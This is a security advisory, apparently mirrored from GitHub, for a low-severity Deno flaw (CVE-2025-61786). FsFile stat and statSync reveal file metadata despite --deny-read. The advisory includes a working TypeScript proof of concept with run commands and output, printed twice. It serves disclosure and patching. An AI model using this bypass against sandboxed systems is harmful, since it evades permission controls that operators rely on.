GHSA-QQ26-84MH-26J9
Vulnerability from github – Published: 2025-10-08 17:56 – Updated: 2025-10-08 17:56
VLAI
Summary
Deno's --deny-read check does not prevent permission bypass
Details
Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
- deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
Impact
Permission model bypass
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61786"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-08T17:56:40Z",
"nvd_published_at": "2025-10-08T01:15:33Z",
"severity": "LOW"
},
"details": "### Summary \n\n`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.\n\nIt\u0027s possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)\n\nSimilar APIs like `Deno.stat` and `Deno.statSync` require\u00a0`allow-read`\u00a0permission, however, when a file is opened, even with file-write only flags and deny-read permission, it\u0027s still possible to retrieve file stats, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test1.txt\n```\n\n- `poc_file.stat.ts`\n```ts\n// touch test1.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1\n// deno run --allow-write=./ poc_file.stat.ts 1\nasync function poc1(){\n using file = await Deno.open(\"./test1.txt\", { read: false, write: true});\n const fileInfo = await file.stat();\n console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2\n// deno run --allow-write=./ poc_file.stat.ts 2\nfunction poc2(){\n using file = Deno.openSync(\"./test1.txt\", { read: false, write: true});\n const fileInfo = file.statSync();\n console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3\n// deno run --allow-write=./ poc_file.stat.ts 3\nasync function poc3(){\n // not executed\n const fileInfo = await Deno.stat(\"./test1.txt\");\n console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4\n// deno run --allow-write=./ poc_file.stat.ts 4\nfunction poc4(){\n // not executed\n const fileInfo = Deno.statSync(\"./test1.txt\");\n console.log(fileInfo.isFile);\n}\n\n\nasync function main(){\n const poc = Deno.args[0] || 1;\n\n const status = await Deno.permissions.query({ name: \"read\", path: \"./\" });\n console.log(status);\n switch (poc) {\n case \"1\":\n poc1()\n break;\n case \"2\":\n poc2()\n break;\n case \"3\":\n poc3()\n break;\n case \"4\":\n poc4()\n break;\n default:\n poc1()\n }\n}\n\nmain()\n```\n\n\nOutput:\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n const fileInfo = await Deno.stat(\"./test1.txt\");\n ^\n ...\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n const fileInfo = Deno.statSync(\"./test1.txt\");\n ^\n ...\n```\n\n\n### Impact\n\nPermission model bypass",
"id": "GHSA-qq26-84mh-26j9",
"modified": "2025-10-08T17:56:40Z",
"published": "2025-10-08T17:56:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61786"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/pull/30876"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno\u0027s --deny-read check does not prevent permission bypass"
}
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Sightings
| Author | Source | Type | Date | Other |
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Nomenclature
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vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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